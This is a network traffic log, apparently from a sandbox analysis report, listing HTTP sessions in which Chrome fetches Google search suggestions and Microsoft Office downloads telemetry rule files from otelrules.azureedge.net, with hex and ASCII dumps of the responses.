2024-10-29 14:27:25 UTC	603	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEI3L3NAQiPys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw== Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-29 14:27:26 UTC	1266	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:26 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-q4qA_VYd0ENBlrFX-86bhQ' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-10-29 14:27:26 UTC	112	IN	Data Raw: 33 33 61 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 74 61 72 67 65 74 20 74 68 61 6e 6b 73 67 69 76 69 6e 67 20 6d 65 61 6c 20 64 65 61 6c 22 2c 22 64 6f 64 67 65 72 73 20 79 61 6e 6b 65 65 73 20 77 6f 72 6c 64 20 73 65 72 69 65 73 20 67 61 6d 65 20 33 22 2c 22 6e 79 74 20 63 6f 6e 6e 65 63 74 69 6f 6e 73 20 68 69 6e 74 73 20 6f 63 74 6f Data Ascii: 33a)]}'["",["target thanksgiving meal deal","dodgers yankees world series game 3","nyt connections hints octo
2024-10-29 14:27:26 UTC	721	IN	Data Raw: 62 65 72 20 32 39 22 2c 22 6d 6f 6e 6f 70 6f 6c 79 20 67 6f 20 74 79 63 6f 6f 6e 20 63 61 6e 64 79 20 73 74 6f 72 65 20 72 65 77 61 72 64 73 22 2c 22 66 6f 6f 74 62 61 6c 6c 20 70 6f 77 65 72 20 72 61 6e 6b 69 6e 67 73 20 6e 66 6c 22 2c 22 6e 65 77 20 63 68 6f 70 69 6e 20 77 61 6c 74 7a 20 6c 61 6e 67 20 6c 61 6e 67 22 2c 22 6d 74 67 20 66 6f 75 6e 64 61 74 69 6f 6e 73 20 63 61 72 64 73 22 2c 22 72 6f 63 6b 65 66 65 6c 6c 65 72 20 63 68 72 69 73 74 6d 61 73 20 74 72 65 65 20 6c 69 67 68 74 69 6e 67 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a Data Ascii: ber 29","monopoly go tycoon candy store rewards","football power rankings nfl","new chopin waltz lang lang","mtg foundations cards","rockefeller christmas tree lighting"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:
2024-10-29 14:27:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.6	49792	172.217.18.100	443	7172	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:25 UTC	353	OUT	GET /async/ddljson?async=ntp:2 HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.6	49794	172.217.18.100	443	7172	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:25 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-29 14:27:26 UTC	957	IN	HTTP/1.1 200 OK Version: 689297125 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Tue, 29 Oct 2024 14:27:26 GMT Server: gws Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-10-29 14:27:26 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-10-29 14:27:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.6	49800	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:26 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:26 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:26 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 080ba15e-001e-0082-732b-275880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142726Z-16849878b78fkwcjkpn19c5dsn00000005r00000000061mx x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 14:27:26 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.6	49799	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:26 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:26 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:26 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 97ce691d-801e-0047-0a01-277265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142726Z-16849878b78j5kdg3dndgqw0vg00000008a000000000ff94 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 14:27:26 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.6	49803	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:26 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:26 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:26 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: fb8efb24-701e-0050-0ba3-266767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142726Z-16849878b786fl7gm2qg4r5y7000000006x000000000fh9q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 14:27:26 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.6	49801	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:26 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:26 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:26 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: 88d45aac-e01e-003c-3e01-29c70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142726Z-r197bdfb6b46kmj4701qkq602400000005v0000000000khc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 14:27:26 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.6	49802	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:26 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:26 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:26 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: c317859a-501e-00a3-19db-27c0f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142726Z-r197bdfb6b4g24ztpxkw4umce8000000085g000000008n43 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 14:27:26 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.6	49804	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:27 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:27 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:27 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: f473ee8a-401e-00ac-6cf0-260a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142727Z-15b8d89586fmhkw429ba5n22m80000000870000000000yrk x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 14:27:27 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.6	49805	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:27 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:27 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:27 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: 19a18c92-701e-0098-0fb0-26395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142727Z-16849878b78z2wx67pvzz63kdg000000055000000000n89c x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 14:27:27 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.6	49810	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:27 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:28 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:28 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 353927da-e01e-0003-452b-290fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142728Z-r197bdfb6b48v72xb403uy6hns00000007bg000000001psk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 14:27:28 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.6	49812	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:28 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:28 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:28 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 2e99a458-901e-0067-29ae-26b5cb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142728Z-16849878b78bjkl8dpep89pbgg00000005d0000000005tce x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
